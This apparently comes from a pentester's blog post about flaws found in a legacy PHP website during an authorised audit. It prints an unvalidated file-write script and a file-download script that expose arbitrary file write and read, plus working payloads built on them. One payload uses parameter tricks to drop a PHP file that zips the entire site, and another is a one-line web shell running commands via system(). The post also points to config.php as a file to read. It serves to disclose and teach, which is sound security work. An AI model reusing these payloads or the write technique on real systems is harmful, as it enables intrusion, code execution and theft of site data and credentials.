Our company performs pentests and security audits both in individual clients and in government and military agencies.
During the last pentest session at the client's ancient site, I discovered a script left on the server by the developer who designed the system years ago. Designed in the '90s or so :)
You get the picture.
⚙️ Pentesting an ancient website
The script, publicly available (its address was sent to clients), was used by one of the components to save logs on the server, in a very original way.
I don't even know how to comment on it, I'll just show you the code (modified to not reveal the customer information):
<?php
/*function deleteDir($path) {
if (empty($path)) {
return false;
}
return is_file($path) ?
@unlink($path) :
array_map(__FUNCTION__, glob($path.'/*')) == @rmdir($path);
}
deleteDir('xxx');
die;*/
$filename = $_REQUEST["xvar"];
$user = $_REQUEST["yvar"];
$xyz = $_REQUEST["zvar"];
chdir('xxx');
$hfile = fopen($filename, "a+");
$fsize=filesize($filename);
if ($fsize==0){
fwrite($hfile, $user."\r\n\r\n");
}
fwrite($hfile, date("r")." - ".$xyz."\r\n");
echo "1";
?>
So what's going on here? This script simply takes the parameters from a POST
or GET
query and uses their contents to overwrite an existing or create a new file on the server in the subdirectory "xxx"
.
🐞 It's not a bug - it's a feature!
The problem is that no validation is performed and it is possible to create any file in any system directory, including PHP scripts!
❓ How to take advantage of this vulnerability?
Creatively. That's for sure. And so that the client understands that this is not a joke. You have to construct a POST query to the server and set parameters accordingly:
-
"xvar"
- in this parameter we save the name of the newly created PHP script -
"yvar"
- will contain the contents of the PHP code with a<?php
tag opening the PHP script and a tag at the end that will open the multi-line PHP comment/*
, because this variable is followed by the date and this would break the PHP code structure -
"zvar"
- with this parameter we will close the multi-line PHP command*/
and close the PHP script tags?>
.
📦 Downloading the entire page in a ZIP archive
The following script has been written in such a way that, using the ZIP extension for PHP, it creates an archive (without compression, so as not to extend the duration of the script) with all the files on the site.
<?php $r = realpath('../');$z = new ZipArchive();$z->open('dump.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($r) + 1); $z->addFile($filePath, $relativePath); $z->setCompressionName($relativePath, ZipArchive::CM_STORE); } } $z->close(); /*
To create this script on the server using found vulnerability I used extension for Chrome - RestMan. After setting the query of POST
type and parameters, the faulty script returned "1"
, which as you can see shows that it has been executed to the end.
Now all you have to do is enter the address of the site and the name of the script in your browser, it is located in the "xxx/dump.php"
directory and if everything goes ok, it will create a ZIP archive a directory level up with all the content of the site.
🕒 Extend PHP script execution time
The problem may be the time needed for the PHP script to work, limited by the settings in the php.ini
configuration file. You can extend it by executing the PHP function set_time_limit(10 * 60);
right at the beginning of the script.
🎁 Remote shell
Of the more interesting things to drop off is the remote shell, which can be used to remotely execute commands, thanks to the system()
function built into PHP:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } /*
This function can be and often is disabled in PHP configuration, but it is worth knowing about.
🤔 Is this even a mistake?
I've been thinking about it for a while because the address of the script was sent to the system clients after a specific action but they couldn't be aware of what was going on after it was executed, i.e. new files are being created in the "xxx" subdirectory. Because how?
However, further tests of this archaic system allowed to find another faulty script that beats the one above:
<?php
// downloading a file
$filename = $_GET['filename'];
// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
// browser must download file from server instead of cache
// force download dialog
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.
header("Content-Disposition: attachment; filename=".basename($filename).";");
/*
The Content-transfer-encoding header should be binary, since the file will be read directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to show a progress meter as a file downloads. The content-lenght can be determines by filesize function returns the size of a file.
*/
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
@readfile($filename);
exit(0);
?>
It's pretty hard to beat this one. Really.
The script allows you to download any file from the server, e.g. you just need to set "filename"
parameter to "index.php"
or some other, often used file like "config.php"
to get into the rest of the system.
😲 Client was surprised
After pointing out the errors and presenting their potential in real word attacks, the client was surprised that such a thing was possible at all!
But this was due to the age of the system and the methods of software development used years ago, which we are unlikely to experience any more.
Although, who knows how many more of these old flaws hang around in websites all around the web :)
Top comments (0)